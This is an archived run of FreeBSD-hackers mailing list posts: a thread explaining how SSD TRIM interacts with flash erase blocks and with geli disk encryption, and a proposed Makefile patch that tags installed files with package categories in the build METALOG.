CB33RZBfTkVqi2C/jMDYPLE4lOTAIrfyjD8cMOlfIJHdPmIjZcZ3LA2Bc7QZfa/EFWE6 FH+g== X-Gm-Message-State: ALoCoQk+x3zmRSGuHzphOnrWgZXOsU6rktLrCTkWeEx2n0wriSbYDOBmIy3DQL6/XFr1yBTHwAvS X-Received: by 10.50.164.201 with SMTP id ys9mr14698731igb.40.1404922946423; Wed, 09 Jul 2014 09:22:26 -0700 (PDT) Received: from bsdimp.bsdimp.com (50-78-194-198-static.hfc.comcastbusiness.net. [50.78.194.198]) by mx.google.com with ESMTPSA id z6sm16720535igl.1.2014.07.09.09.22.25 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 09 Jul 2014 09:22:25 -0700 (PDT) Sender: Warner Losh From: Warner Losh X-Google-Original-From: Warner Losh Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.6\)) Subject: Re: geli+trim support In-Reply-To: <43222.1404549367@critter.freebsd.dk> Date: Wed, 9 Jul 2014 10:22:20 -0600 Content-Transfer-Encoding: quoted-printable Message-Id: <20856DE3-6622-455D-9B15-B4723D75B0DB@gmail.com> References: <7E2718485A3E405D89E5EAB331E9ED70@multiplay.co.uk> <53B6427D.1010403@gooch.io> <60445.1404461976@critter.freebsd.dk> <53B750C1.8070706@gooch.io> <43222.1404549367@critter.freebsd.dk> To: Poul-Henning Kamp X-Mailer: Apple Mail (2.1878.6) Cc: freebsd-hackers@freebsd.org, Jesse Gooch X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Jul 2014 16:22:33 -0000 On Jul 5, 2014, at 2:36 AM, Poul-Henning Kamp = wrote: > In message <53B750C1.8070706@gooch.io>, Jesse Gooch writes: >=20 >>> If you TRIM, your old sector is still unchanged somewhere in flash, = but >>> if you're lucky for slightly less time. >>=20 >> Perhaps I misunderstand TRIM, isn't the point of TRIM that it zeroes = out >> the sector ahead of time so it doesn't have to re-do it again when it >> stores more data in that sector later? >=20 > Yes. >=20 > But "ahead of time" does not mean "now." >=20 > It's a fairly lenghty explanation, but the short version is that = TRIM'ing > a sector means that the FTL knows you don't care about the contents of > the sector, so it need not be preserved during "washes". >=20 > When the washes actually happen depends on how large the actual = free-pool > is and very strongly on if an eraseblock happens to be all TRIM'ed and > finally on the wear-levelling algorithm and the characteristics of the > flash that informs it. >=20 > There is no way to characterize any of these things, without full > acces to the FLT. The only way to be sure the data is gone is a secure erase. And even = then it can only be on a best-effort basis because the NAND chips=92 charge = pumps can and do fail and once that happens, you can no longer erase anything on that part. Other than that, PHK is right: the FTL decides when it will =93groom=94 = or =93garbage collect=94 the old erase block that contains the disk block that you = just trimmed. The erase block is hundreds of pages long. Each page holds several disk = blocks in a typical implementation. The NAND flash simply cannot program on a sub-page basis[*], program a page twice[**] or erase with any = granularity smaller than an erase block. The one thing that PHK forgot to mention is that flash devices are laid = out in a log fashion, e.g. the next written block follows the previously written = block (more or less) in the physical NAND media, which is why the FTL is involved at all. = Again, this is due to pages and erase blocks and the write once then erase physics = of NAND. Warner [*] Well, in some rare edge cases you can, but most modern chips don=92t = let you do that reliably, and certainly not for previously programmed pages in a = fully programmed block. [**] the firmware usually prevents you from doing this, especially in = MLC designs where you program the cells twice with data from two different pages, but = that=92s a different kettle of fish...= From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 9 23:46:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A72806CE for ; Wed, 9 Jul 2014 23:46:33 +0000 (UTC) Received: from mail-we0-x236.google.com (mail-we0-x236.google.com [IPv6:2a00:1450:400c:c03::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 3CC9E27CB for ; Wed, 9 Jul 2014 23:46:33 +0000 (UTC) Received: by mail-we0-f182.google.com with SMTP id q59so8143051wes.41 for ; Wed, 09 Jul 2014 16:46:31 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=20120113; h=date:from:to:subject:message-id:in-reply-to:references:mime-version :content-type:content-transfer-encoding; bh=FWadQ3G+zjCkXoxrfDit9lxlV4B12/QZanxTQqS8qGg=; b=FCS5awOUXbMiG3wIvCvShibRizYY8Q+EKuPrPZltEAxo6G2Zpz1NQa4qN0q9AJ6H5A XmGV/t+yqP7/1i4RVqFuUkDlfmxngZW9PwdOq/chMzYa4M2lhkwibkZC3IXkm6q7uunK +aNFFyoOy9y0W7/XtLKuwilIe+A1sNwBhPwl1Fssz0lYP4dqhHUbEsCZygytEQvHdEBJ vFxBwWqsCadLESFyx1eKQSs1xlx4Si4zQYzjwp32hYbSAC8QhFyNtN1ZGMUNuA4s8hGe +rzbokTHQ9OuRU9vJC5DvhaPS9Qm+9Hk+iFn5zscxi6VsKY3Hg6F1qx2SEtvLrWJlLzj hPnw== X-Received: by 10.194.82.198 with SMTP id k6mr52088704wjy.10.1404949591520; Wed, 09 Jul 2014 16:46:31 -0700 (PDT) Received: from gumby.homeunix.com (4e5670bd.skybroadband.com. [78.86.112.189]) by mx.google.com with ESMTPSA id cz8sm106471211wjc.11.2014.07.09.16.46.29 for (version=SSLv3 cipher=RC4-SHA bits=128/128); Wed, 09 Jul 2014 16:46:30 -0700 (PDT) Date: Thu, 10 Jul 2014 00:46:28 +0100 From: RW To: freebsd-hackers@freebsd.org Subject: Re: geli+trim support Message-ID: <20140710004628.0b3deade@gumby.homeunix.com> In-Reply-To: <20856DE3-6622-455D-9B15-B4723D75B0DB@gmail.com> References: <7E2718485A3E405D89E5EAB331E9ED70@multiplay.co.uk> <53B6427D.1010403@gooch.io> <60445.1404461976@critter.freebsd.dk> <53B750C1.8070706@gooch.io> <43222.1404549367@critter.freebsd.dk> <20856DE3-6622-455D-9B15-B4723D75B0DB@gmail.com> X-Mailer: Claws Mail 3.10.1 (GTK+ 2.24.22; amd64-portbld-freebsd10.0) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Jul 2014 23:46:33 -0000 On Wed, 9 Jul 2014 10:22:20 -0600 Warner Losh wrote: > > On Jul 5, 2014, at 2:36 AM, Poul-Henning Kamp > wrote: > > > In message <53B750C1.8070706@gooch.io>, Jesse Gooch writes: > > > >>> If you TRIM, your old sector is still unchanged somewhere in > >>> flash, but if you're lucky for slightly less time. > >> > >> Perhaps I misunderstand TRIM, isn't the point of TRIM that it > >> zeroes out the sector ahead of time so it doesn't have to re-do it > >> again when it stores more data in that sector later? > > The only way to be sure the data is gone is a secure erase. I think the issue that Jesse Gooch was referring to is not about data being erased, it's really about the trim being detectable. When you create an encrypted partition, it's considered good practice to fill the underlying partition with random contents to make it harder to infer the layout of data in the file-system. With trim, deleting files incrementally reveals where the data isn't. If nothing else it leaks an upper limit for the total amount of data stored in the file-system. In the worst case scenario, a sophisticated attacker could read-out all the internal data on an SSD, so I think it's inevitable that trim would make geli a bit easier to attack. OTOH an attacker still has to break strong cryptography in order to actually read the contents. I think quite a lot of people would rather have trim support than give the NSA a bit more inconvenience. It would be nice to have it as an option. From owner-freebsd-hackers@FreeBSD.ORG Wed Jul 9 23:33:44 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 847A5450 for ; Wed, 9 Jul 2014 23:33:44 +0000 (UTC) Received: from mail.iXsystems.com (newknight.ixsystems.com [206.40.55.70]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 3853026E9 for ; Wed, 9 Jul 2014 23:33:43 +0000 (UTC) Received: from localhost (mail.ixsystems.com [10.2.55.1]) by mail.iXsystems.com (Postfix) with ESMTP id 3C1B37A8D0 for ; Wed, 9 Jul 2014 16:33:43 -0700 (PDT) Received: from mail.iXsystems.com ([10.2.55.1]) by localhost (mail.ixsystems.com [10.2.55.1]) (maiad, port 10024) with ESMTP id 18735-04 for ; Wed, 9 Jul 2014 16:33:43 -0700 (PDT) Received: from kruse-177.4.ixsystems.com (kruse-177.4.ixsystems.com [10.2.4.177]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mail.iXsystems.com (Postfix) with ESMTPSA id B7FCD7A8C9 for ; Wed, 9 Jul 2014 16:33:42 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=ixsystems.com; s=newknight0; t=1404948822; bh=eCEzJvoy/2WMKKMEOcZ90cUuGKPmQ0MJHJ/a0g/XOts=; h=From:Subject:Date:To; b=lk9Spvx9gak9aWuGt71COah/PHnuw2KqzcfRETlA+4YyAN+ujoZrcxWkHhrCBCHK8 h8z88DakM1T2OET2Xkrz7kFlBBYo93jovpQ0F673PiO4jqt6aO01GEqU2UExaak91J ODFYCW5ecnvJ+psDdDRPsi3y5rPZrRLGGAab28WA= From: Sean Fagan Content-Type: multipart/mixed; boundary="Apple-Mail=_15A94C1A-F8ED-40F8-8003-9FB67C14B62F" Subject: Expanding on NO_ROOT: Categorizing installed files Message-Id: <048B595B-6B91-40B6-84A4-E23948423354@ixsystems.com> Date: Wed, 9 Jul 2014 16:33:42 -0700 To: hackers@freebsd.org Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1878.6\)) X-Mailer: Apple Mail (2.1878.6) X-Mailman-Approved-At: Thu, 10 Jul 2014 02:08:19 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Jul 2014 23:33:44 -0000 --Apple-Mail=_15A94C1A-F8ED-40F8-8003-9FB67C14B62F Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=us-ascii We've been looking at some significant changes to how we distribute and = update FreeNAS; one of the things I've done is take the NO_ROOT build = changes, and expand upon them to have categories. I'd like to say I went for minimal changes here, but mostly what I was = going for was minimal work on my part. However, this seems to mostly = work; the METALOG that gets generated has lines such as ./bin/cat type=3Dfile uname=3Droot gname=3Dwheel mode=3D0555 = size=3D11520 category=3Dbase and I've written a python script that will take that METALOG, and create = PKGNG-style packages from it. (This may be more useful for things like = "category=3Ddev", or "secure".) I did have to change xinstall a bit to = handle this, and I also changed how it handled hard links for the = metalog. Any comments on this? More importantly, any interest in it? (Note that I am not subscribed to the list from this address, so if you = respond to the list, I may follow up from a different address :).) --Apple-Mail=_15A94C1A-F8ED-40F8-8003-9FB67C14B62F Content-Disposition: attachment; filename=categorizing-diffs.txt Content-Type: text/plain; name="categorizing-diffs.txt" Content-Transfer-Encoding: quoted-printable diff --git a/Makefile.inc1 b/Makefile.inc1 index c0591b6..b9edd0d 100644 --- a/Makefile.inc1 +++ b/Makefile.inc1 @@ -14,6 +14,7 @@ # -DNO_KERNELOBJ do not run ${MAKE} obj in ${MAKE} buildkernel # -DNO_PORTSUPDATE do not update ports in ${MAKE} update # -DNO_ROOT install without using root privilege +# -DLOG_META_INFO Log metadata about installed files # -DNO_DOCUPDATE do not update doc in ${MAKE} update # -DNO_CTF do not run the DTrace CTF conversion tools on built = objects # LOCAL_DIRS=3D"list of dirs" to add additional dirs to the SUBDIR = list @@ -271,7 +272,7 @@ WMAKEENV=3D ${CROSSENV} \ =20 # make hierarchy HMAKE=3D PATH=3D${TMPPATH} ${MAKE} = LOCAL_MTREE=3D${LOCAL_MTREE} -.if defined(NO_ROOT) +.if defined(NO_ROOT) || defined(LOG_META_INFO) HMAKE+=3D PATH=3D${TMPPATH} METALOG=3D${METALOG} -DNO_ROOT .endif =20 @@ -333,6 +334,10 @@ LIB32WMAKEENV+=3D = MAKEOBJDIRPREFIX=3D${OBJTREE}/lib32 \ LIBDIR=3D/usr/lib32 \ SHLIBDIR=3D/usr/lib32 \ COMPILER_TYPE=3D${WMAKE_COMPILER_TYPE} +.if defined(LOG_META_INFO) || defined(NO_ROOT) +LIB32WMAKEENV+=3D META_CATEGORY=3Dcompat32 +.endif + LIB32WMAKEFLAGS+=3D \ CC=3D"${CC} ${LIB32FLAGS}" \ CXX=3D"${CXX} ${LIB32FLAGS}" \ @@ -364,14 +369,21 @@ IMAKEENV+=3D PATH=3D${TMPPATH}:${INSTALLTMP} INSTALLFLAGS+=3D -N ${.CURDIR}/etc MTREEFLAGS+=3D -N ${.CURDIR}/etc .endif -.if defined(NO_ROOT) +.if defined(NO_ROOT) || defined(LOG_META_INFO) METALOG?=3D ${DESTDIR}/${DISTDIR}/METALOG -IMAKE+=3D -DNO_ROOT METALOG=3D${METALOG} -INSTALL_DDIR=3D ${DESTDIR}/${DISTDIR} -INSTALLFLAGS+=3D -U -M ${METALOG} -D = ${INSTALL_DDIR:S://:/:g:C:/$::} +. if defined(NO_ROOT) +IMAKE+=3D -DNO_ROOT +INSTALLFLAGS+=3D -U MTREEFLAGS+=3D -W +. endif +. if defined(LOG_META_INFO) +IMAKE+=3D -DLOG_META_INFO +. endif +IMAKE+=3D METALOG=3D${METALOG} +INSTALL_DDIR=3D ${DESTDIR}/${DISTDIR} +INSTALLFLAGS+=3D -M ${METALOG} -D ${INSTALL_DDIR:S://:/:g:C:/$::} .endif -.if defined(DB_FROM_SRC) || defined(NO_ROOT) +.if defined(DB_FROM_SRC) || defined(NO_ROOT) || defined(LOG_META_INFO) IMAKE_INSTALL=3D INSTALL=3D"install ${INSTALLFLAGS}" IMAKE_MTREE=3D MTREE_CMD=3D"nmtree ${MTREEFLAGS}" .endif @@ -739,7 +751,7 @@ distributeworld installworld: installcheck = installcheck_UGID done); \ cp $$libs $$progs ${INSTALLTMP} cp -R $${PATH_LOCALE:-"/usr/share/locale"} ${INSTALLTMP}/locale -.if defined(NO_ROOT) +.if defined(NO_ROOT) || defined(LOG_META_INFO) echo "#${MTREE_MAGIC}" > ${METALOG} .endif .if make(distributeworld) @@ -755,7 +767,8 @@ distributeworld installworld: installcheck = installcheck_UGID mtree -deU -f ${.CURDIR}/etc/mtree/BSD.debug.dist \ -p ${DESTDIR}/${DISTDIR}/${dist}/usr/lib >/dev/null .endif -.if defined(NO_ROOT) +.if defined(NO_ROOT) || defined(LOG_META_INFO) + echo bar ${IMAKEENV} nmtree -C -f ${.CURDIR}/etc/mtree/BSD.root.dist | \ sed -e 's#^\./#./${dist}/#' >> ${METALOG} ${IMAKEENV} nmtree -C -f ${.CURDIR}/etc/mtree/BSD.usr.dist | \ @@ -766,7 +779,7 @@ distributeworld installworld: installcheck = installcheck_UGID .endfor -mkdir ${DESTDIR}/${DISTDIR}/base cd ${.CURDIR}/etc; ${CROSSENV} PATH=3D${TMPPATH} ${MAKE} \ - METALOG=3D${METALOG} ${IMAKE_INSTALL} ${IMAKE_MTREE} \ + METALOG=3D${METALOG} META_CATEGORY=3Dbase ${IMAKE_INSTALL} = ${IMAKE_MTREE} \ DISTBASE=3D/base DESTDIR=3D${DESTDIR}/${DISTDIR}/base \ LOCAL_MTREE=3D${LOCAL_MTREE} distrib-dirs .endif @@ -987,7 +1000,7 @@ reinstallkernel reinstallkernel.debug: installcheck @echo ">>> Installing kernel ${INSTALLKERNEL}" @echo = "--------------------------------------------------------------" cd ${KRNLOBJDIR}/${INSTALLKERNEL}; \ - ${CROSSENV} PATH=3D${TMPPATH} \ + ${CROSSENV} PATH=3D${TMPPATH} META_CATEGORY=3D"kernel" \ ${MAKE} ${IMAKE_INSTALL} KERNEL=3D${INSTKERNNAME} = ${.TARGET:S/kernel//} =20 distributekernel distributekernel.debug: diff --git a/bin/Makefile b/bin/Makefile index e5052ca..ca218ac 100644 --- a/bin/Makefile +++ b/bin/Makefile @@ -1,6 +1,9 @@ # From: @(#)Makefile 8.1 (Berkeley) 5/31/93 # $FreeBSD$ =20 +META_CATEGORY=3D base +.EXPORTVAR: META_CATEGORY + .include =20 SUBDIR=3D cat \ diff --git a/etc/Makefile b/etc/Makefile index 7a805ae..5284d29 100644 --- a/etc/Makefile +++ b/etc/Makefile @@ -1,6 +1,9 @@ # from: @(#)Makefile 5.11 (Berkeley) 5/21/91 # $FreeBSD$ =20 +META_CATEGORY=3Dbase +.EXPORTVAR: META_CATEGORY + .include =20 .if ${MK_SENDMAIL} !=3D "no" @@ -209,12 +212,12 @@ distribution: .endif pwd_mkdb ${PWD_MKDB_ENDIAN} -i -p -d ${DESTDIR}/etc \ ${DESTDIR}/etc/master.passwd -.if defined(NO_ROOT) +.if defined(NO_ROOT) || defined(LOG_META_INFO) ( \ - echo "./etc/login.conf.db type=3Dfile mode=3D0644 = uname=3Droot gname=3Dwheel"; \ - echo "./etc/passwd type=3Dfile mode=3D0644 uname=3Droot = gname=3Dwheel"; \ - echo "./etc/pwd.db type=3Dfile mode=3D0644 uname=3Droot = gname=3Dwheel"; \ - echo "./etc/spwd.db type=3Dfile mode=3D0600 uname=3Droot = gname=3Dwheel"; \ + echo "./etc/login.conf.db type=3Dfile mode=3D0644 = uname=3Droot gname=3Dwheel category=3Dbase"; \ + echo "./etc/passwd type=3Dfile mode=3D0644 uname=3Droot = gname=3Dwheel category=3Dbase"; \ + echo "./etc/pwd.db type=3Dfile mode=3D0644 uname=3Droot = gname=3Dwheel category=3Dbase"; \ + echo "./etc/spwd.db type=3Dfile mode=3D0600 uname=3Droot = gname=3Dwheel category=3Dbase"; \ ) | ${METALOG.add} .endif .if ${MK_BLUETOOTH} !=3D "no" @@ -346,6 +349,9 @@ distrib-dirs: ${MTREES:N/*} .if defined(NO_ROOT) @set ${MTREES}; \ while test $$# -ge 2; do \ + p=3D"category=3Dbase"; \ + test "$$1" =3D=3D BSD.include.dist && p=3D"category=3Ddev"= ; \ + test "$$1" =3D=3D BSD.groff.dist && p=3D"category=3Ddoc" = ; \ m=3D${.CURDIR}/$$1; \ shift; \ d=3D$$1; \ @@ -353,8 +359,8 @@ distrib-dirs: ${MTREES:N/*} d=3D${DISTBASE}$$d; \ shift; \ ${ECHO} "${MTREE_CMD:N-W} -C -f $$m -K uname,gname | " \ - "sed s#^\.#.$$d# | ${METALOG.add}" ; \ - ${MTREE_CMD:N-W} -C -f $$m -K uname,gname | sed = s#^\.#.$$d# | \ + "sed -e s#^\.#.$$d# -e \"s#\$$# $$p#\" | = ${METALOG.add}" ; \ + ${MTREE_CMD:N-W} -C -f $$m -K uname,gname | sed -e = s#^\.#.$$d# -e "s#\$$# $$p#" | \ ${METALOG.add} ; \ done; true .endif diff --git a/gnu/lib/Makefile b/gnu/lib/Makefile index c33cef6..c2a6af4 100644 --- a/gnu/lib/Makefile +++ b/gnu/lib/Makefile @@ -1,5 +1,8 @@ # $FreeBSD$ =20 +META_CATEGORY=3D base +.EXPORTVAR: META_CATEGORY + .include =20 SUBDIR=3D csu libgcc libgcov libdialog libgomp libodialog libregex = libreadline \ diff --git a/gnu/usr.bin/cc/Makefile b/gnu/usr.bin/cc/Makefile index efb548a..be673bc 100644 --- a/gnu/usr.bin/cc/Makefile +++ b/gnu/usr.bin/cc/Makefile @@ -1,5 +1,8 @@ # $FreeBSD$ =20 +META_CATEGORY=3Ddev +.EXPORTVAR: META_CATEGORY + .include =20 # The order of some of these are rather important. Some depend on = previous diff --git a/include/Makefile b/include/Makefile index 0328e70..1c924bf 100644 --- a/include/Makefile +++ b/include/Makefile @@ -3,6 +3,9 @@ # # Doing a "make install" builds /usr/include. =20 +META_CATEGORY=3D dev +.EXPORTVAR: META_CATEGORY + .include =20 CLEANFILES=3D osreldate.h version vers.c diff --git a/lib/Makefile b/lib/Makefile index 32a620d..aacc93b 100644 --- a/lib/Makefile +++ b/lib/Makefile @@ -1,6 +1,9 @@ # @(#)Makefile 8.1 (Berkeley) 6/4/93 # $FreeBSD$ =20 +META_CATEGORY=3D base +.EXPORTVAR: META_CATEGORY + .include =20 # To satisfy shared library or ELF linkage when only the libraries = being diff --git a/lib/clang/Makefile b/lib/clang/Makefile index 6bc9552..e80193a 100644 --- a/lib/clang/Makefile +++ b/lib/clang/Makefile @@ -1,5 +1,8 @@ # $FreeBSD$ =20 +META_CATEGORY=3Ddev +.EXPORT_VAR: META_CATEGORY + .include =20 .if !make(install) diff --git a/lib/csu/amd64/Makefile b/lib/csu/amd64/Makefile index afe7fe6..5616e04 100644 --- a/lib/csu/amd64/Makefile +++ b/lib/csu/amd64/Makefile @@ -9,6 +9,9 @@ CFLAGS+=3D -I${.CURDIR}/../common \ -I${.CURDIR}/../../libc/include CFLAGS+=3D -fno-omit-frame-pointer =20 +META_CATEGORY=3D base +.EXPORTVAR: META_CATEGORY + all: ${OBJS} =20 CLEANFILES=3D ${OBJS} @@ -39,7 +42,7 @@ Scrt1.o: Scrt1.s ${CC} ${ACFLAGS} -c -o ${.TARGET} Scrt1.s =20 realinstall: - ${INSTALL} -o ${LIBOWN} -g ${LIBGRP} -m ${LIBMODE} \ + ${INSTALL} -P ${META_CATEGORY} -o ${LIBOWN} -g ${LIBGRP} -m = ${LIBMODE} \ ${OBJS} ${DESTDIR}${LIBDIR} =20 .include diff --git a/lib/libc/Makefile b/lib/libc/Makefile index 77c7ce0..ad27971 100644 --- a/lib/libc/Makefile +++ b/lib/libc/Makefile @@ -1,6 +1,9 @@ # @(#)Makefile 8.2 (Berkeley) 2/3/94 # $FreeBSD$ =20 +META_CATEGORY?=3D base +.EXPORTVAR: META_CATEGORY + SHLIBDIR?=3D /lib =20 .include @@ -9,6 +12,7 @@ SHLIBDIR?=3D /lib # named MACHINE_CPUARCH, but some ABIs are different enough to require # their own libc, so allow a directory named MACHINE_ARCH to override = this. =20 + .if exists(${.CURDIR}/${MACHINE_ARCH}) LIBC_ARCH=3D${MACHINE_ARCH} .else diff --git a/lib/libelf/Makefile b/lib/libelf/Makefile index fe921cb..9178c36 100644 --- a/lib/libelf/Makefile +++ b/lib/libelf/Makefile @@ -1,5 +1,8 @@ # $FreeBSD$ =20 +META_CATEGORY=3D base +.EXPORTVAR: META_CATEGORY + LIB=3D elf =20 SRCS=3D elf_begin.c = \ diff --git a/lib/libkvm/Makefile b/lib/libkvm/Makefile index 1250bf7..a611a5f 100644 --- a/lib/libkvm/Makefile +++ b/lib/libkvm/Makefile @@ -1,6 +1,9 @@ # @(#)Makefile 8.1 (Berkeley) 6/4/93 # $FreeBSD$ =20 +META_CATEGORY=3D base +.EXPORTVAR: META_CATEGORY + LIB=3D kvm SHLIBDIR?=3D /lib CFLAGS+=3D-DLIBC_SCCS -I${.CURDIR} diff --git a/libexec/Makefile b/libexec/Makefile index 78953b4..4d43a92 100644 --- a/libexec/Makefile +++ b/libexec/Makefile @@ -1,6 +1,9 @@ # @(#)Makefile 8.1 (Berkeley) 6/4/93 # $FreeBSD$ =20 +META_CATEGORY=3Dbase +.EXPORTVAR: META_CATEGORY + .include =20 SUBDIR=3D ${_atrun} \ diff --git a/rescue/Makefile b/rescue/Makefile index 0945ed3..685af4d 100644 --- a/rescue/Makefile +++ b/rescue/Makefile @@ -1,5 +1,8 @@ # $FreeBSD$ =20 +META_CATEGORY=3Drescue +.EXPORTVAR: META_CATEGORY + SUBDIR=3D librescue \ rescue =20 diff --git a/sbin/Makefile b/sbin/Makefile index f9ba4ca..33603cf 100644 --- a/sbin/Makefile +++ b/sbin/Makefile @@ -1,6 +1,9 @@ # @(#)Makefile 8.5 (Berkeley) 3/31/94 # $FreeBSD$ =20 +META_CATEGORY=3D base +.EXPORTVAR: META_CATEGORY + .include =20 # XXX MISSING: icheck ncheck diff --git a/secure/Makefile b/secure/Makefile index 7342709..d870cc0 100644 --- a/secure/Makefile +++ b/secure/Makefile @@ -1,5 +1,8 @@ # $FreeBSD$ =20 +META_CATEGORY=3D secure +.EXPORTVAR: META_CATEGORY + .include =20 SUBDIR=3D lib libexec usr.bin usr.sbin diff --git a/share/Makefile b/share/Makefile index 3e613d6..8b51bd2 100644 --- a/share/Makefile +++ b/share/Makefile @@ -1,6 +1,9 @@ # @(#)Makefile 8.1 (Berkeley) 6/5/93 # $FreeBSD$ =20 +META_CATEGORY=3Dbase +.EXPORTVAR: META_CATEGORY + .include =20 # Do not include `info' in the SUBDIR list, it is handled separately. diff --git a/share/dtrace/Makefile b/share/dtrace/Makefile index adbdc84..44514c0 100644 --- a/share/dtrace/Makefile +++ b/share/dtrace/Makefile @@ -4,6 +4,9 @@ # the DTraceToolkit. # =20 +META_CATEGORY=3Ddtrace +.EXPORTVAR: META_CATEGORY + .include =20 SUBDIR=3D ${_toolkit} diff --git a/share/man/man9/Makefile b/share/man/man9/Makefile index dfa450e8..268ce8a 100644 --- a/share/man/man9/Makefile +++ b/share/man/man9/Makefile @@ -1,5 +1,8 @@ # $FreeBSD$ =20 +META_CATEGORY=3D kernel +.EXPORTVAR: META_CATEGORY + MAN=3D accept_filter.9 \ accf_data.9 \ accf_dns.9 \ diff --git a/share/mk/bsd.incs.mk b/share/mk/bsd.incs.mk index 74c378b..24559d6 100644 --- a/share/mk/bsd.incs.mk +++ b/share/mk/bsd.incs.mk @@ -8,6 +8,14 @@ =20 INCSGROUPS?=3D INCS =20 +.if defined(NO_ROOT) || defined(LOG_META_INFO) +.if defined(META_CATEGORY) +_META_INC=3D -P ${META_CATEGORY}:dev +.else +_META_INC=3D -P dev +.endif +.endif + .if !target(buildincludes) .for group in ${INCSGROUPS} buildincludes: ${${group}} @@ -39,9 +47,10 @@ ${group}NAME_${header:T}?=3D ${${group}NAME} .else ${group}NAME_${header:T}?=3D ${header:T} .endif + installincludes: _${group}INS_${header:T} _${group}INS_${header:T}: ${header} - ${INSTALL} -C -o ${${group}OWN_${.ALLSRC:T}} \ + ${INSTALL} ${_META_INC} -C -o ${${group}OWN_${.ALLSRC:T}} \ -g ${${group}GRP_${.ALLSRC:T}} -m = ${${group}MODE_${.ALLSRC:T}} \ ${.ALLSRC} \ = ${DESTDIR}${${group}DIR_${.ALLSRC:T}}/${${group}NAME_${.ALLSRC:T}} @@ -53,10 +62,11 @@ _${group}INCS+=3D ${header} installincludes: _${group}INS _${group}INS: ${_${group}INCS} .if defined(${group}NAME) - ${INSTALL} -C -o ${${group}OWN} -g ${${group}GRP} -m = ${${group}MODE} \ + ${INSTALL} ${_META_INC} -C -o ${${group}OWN} -g ${${group}GRP} = -m ${${group}MODE} \ ${.ALLSRC} ${DESTDIR}${${group}DIR}/${${group}NAME} .else - ${INSTALL} -C -o ${${group}OWN} -g ${${group}GRP} -m = ${${group}MODE} \ + echo WHERE ARE ${_META_INC} YOU=20 + ${INSTALL} ${_META_INC} -C -o ${${group}OWN} -g ${${group}GRP} = -m ${${group}MODE} \ ${.ALLSRC} ${DESTDIR}${${group}DIR} .endif .endif @@ -73,7 +83,7 @@ installincludes: t=3D${DESTDIR}$$1; \ shift; \ ${ECHO} $$t -\> $$l; \ - ${INSTALL_SYMLINK} $$l $$t; \ + ${INSTALL_SYMLINK} ${_META_INC} $$l $$t; \ done; true .endif .endif # !target(installincludes) diff --git a/share/mk/bsd.lib.mk b/share/mk/bsd.lib.mk index b8b886a..2e6fa26 100644 --- a/share/mk/bsd.lib.mk +++ b/share/mk/bsd.lib.mk @@ -285,28 +285,36 @@ _SHLINSTALLFLAGS:=3D ${SHLINSTALLFLAGS} _SHLINSTALLFLAGS:=3D ${_SHLINSTALLFLAGS${ie}} .endfor =20 +.if defined(META_CATEGORY) +_PKG_FLAGS=3D -P ${META_CATEGORY} +_DEV_PKG_FLAGS=3D -P ${META_CATEGORY}:dev +.else +_PKG_FLAGS=3D +_DEV_PKG_FLAGS=3D +.endif + .if !defined(INTERNALLIB) realinstall: _libinstall .ORDER: beforeinstall _libinstall _libinstall: .if defined(LIB) && !empty(LIB) && ${MK_INSTALLLIB} !=3D "no" ${INSTALL} -C -o ${LIBOWN} -g ${LIBGRP} -m ${LIBMODE} \ - ${_INSTALLFLAGS} lib${LIB}.a ${DESTDIR}${LIBDIR} + ${_INSTALLFLAGS} ${_DEV_PKG_FLAGS} lib${LIB}.a = ${DESTDIR}${LIBDIR} .endif .if ${MK_PROFILE} !=3D "no" && defined(LIB) && !empty(LIB) ${INSTALL} -C -o ${LIBOWN} -g ${LIBGRP} -m ${LIBMODE} \ - ${_INSTALLFLAGS} lib${LIB}_p.a ${DESTDIR}${LIBDIR} + ${_INSTALLFLAGS} ${_DEV_PKG_FLAGS} lib${LIB}_p.a = ${DESTDIR}${LIBDIR} .endif .if defined(SHLIB_NAME) ${INSTALL} ${STRIP} -o ${LIBOWN} -g ${LIBGRP} -m ${LIBMODE} \ - ${_INSTALLFLAGS} ${_SHLINSTALLFLAGS} \ + ${_INSTALLFLAGS} ${_PKG_FLAGS} ${_SHLINSTALLFLAGS} \ ${SHLIB_NAME} ${DESTDIR}${SHLIBDIR} .if ${MK_DEBUG_FILES} !=3D "no" .if defined(DEBUGMKDIR) ${INSTALL} -T debug -d 